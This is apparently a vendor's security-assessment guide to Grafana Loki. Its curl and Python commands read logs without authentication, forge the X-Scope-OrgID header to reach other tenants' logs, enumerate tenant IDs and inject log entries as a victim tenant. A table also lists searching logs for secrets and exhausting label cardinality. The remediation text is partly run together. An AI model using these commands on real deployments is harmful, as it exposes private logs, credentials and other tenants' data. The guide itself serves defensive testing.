Grafana Loki is a horizontally-scalable log aggregation system designed for Kubernetes environments. Like Prometheus, Loki indexes only log labels (not content), but its query API exposes full log content — including application logs that may contain credentials, PII, and secrets. Security weaknesses include: Loki's HTTP API (port 3100) being unauthenticated in single-tenant mode exposing all logs, multi-tenant isolation via the X-Scope-OrgID header that is trivially forged if not enforced at a trusted proxy layer, log push endpoints accepting arbitrary labels that pollute indexes, excessive label cardinality from attacker-controlled push requests causing memory exhaustion, and Loki configuration files containing S3/GCS/Azure storage credentials. This guide covers systematic Loki security assessment.
# Loki default port: 3100
# In single-tenant mode (auth_enabled: false), all logs are accessible without auth
# Check Loki ready status
curl -s http://loki.example.com:3100/ready 2>/dev/null
# Returns "ready" = Loki accessible
# Query all log streams (no authentication required in default config)
curl -s "http://loki.example.com:3100/loki/api/v1/query_range?query={job%3D~\".%2B\"}&limit=10" \
2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
streams = r.get('data',{}).get('result',[])
print(f'Log streams accessible: {len(streams)}')
for s in streams[:3]:
labels = s.get('stream',{})
print(f' Labels: {labels}')
vals = s.get('values',[])
if vals:
print(f' Sample log: {vals[0][1][:100]}...')
"
# List all label names (reveals service topology)
curl -s "http://loki.example.com:3100/loki/api/v1/labels" 2>/dev/null | \
python3 -m json.tool | head -15
# Get label values for 'namespace' label
curl -s "http://loki.example.com:3100/loki/api/v1/label/namespace/values" 2>/dev/null | \
python3 -c "import json,sys; r=json.load(sys.stdin); print(r.get('data',[]))"
# Loki multi-tenancy is enforced via X-Scope-OrgID header
# If Loki trusts this header directly (not enforced by authenticated proxy), it's bypassable
# Query another tenant's logs by forging X-Scope-OrgID
curl -s "http://loki.example.com:3100/loki/api/v1/query_range?query={namespace=\"production\"}&limit=5" \
-H "X-Scope-OrgID: other-tenant-org-id" 2>/dev/null | python3 -m json.tool | head -20
# Try enumerating known tenant IDs
for tenant in tenant1 tenant2 production staging customer-a customer-b; do
count=$(curl -s "http://loki.example.com:3100/loki/api/v1/labels" \
-H "X-Scope-OrgID: $tenant" 2>/dev/null | python3 -c "
import json,sys
try:
r=json.load(sys.stdin)
print(len(r.get('data',[])))
except:
print(0)
")
echo "Tenant: $tenant labels_count: $count"
done
# Push log entries as another tenant
curl -s -X POST "http://loki.example.com:3100/loki/api/v1/push" \
-H "Content-Type: application/json" \
-H "X-Scope-OrgID: victim-tenant" \
-d '{
"streams": [{
"stream": {"job": "injected", "namespace": "production"},
"values": [["'$(date +%s%N)'", "INJECTED: this log was written by an attacker"]]
}]
}' 2>/dev/null | head -5
auth_enabled: true in Loki config and deploy an authenticating proxy (Grafana, OAuth2-proxy) in frontmax_streams_per_user, max_label_names_per_series prevent exhaustion attacks| Security Test | Method | Risk |
|---|---|---|
| Loki API unauthenticated access | curl :3100/loki/api/v1/query_range?query={job=~".+"} — returns all logs | Critical |
| Tenant isolation bypass via X-Scope-OrgID | Query with arbitrary X-Scope-OrgID header — accesses other tenant's logs | Critical |
| Credentials and secrets in log content | LogQL query filtering for 'password', 'token', 'secret' in log lines | High |
| Push API accepts arbitrary labels (injection) | POST /loki/api/v1/push with arbitrary label key/value pairs | High |
| Object storage credentials in config | Read Loki config file for storage.aws/gcs/azure credential fields | High |
| Cardinality exhaustion via high-cardinality push | Push streams with unique label values at high rate | Medium |
Ironimo tests Grafana Loki deployments for unauthenticated log query API access exposing all tenants' application logs, X-Scope-OrgID tenant isolation bypass via header forging, push API label injection for cross-tenant log pollution, sensitive data discovery in log streams, object storage credential exposure, cardinality exhaustion attacks, and Ruler alert rule injection for alert suppression.
Start free scan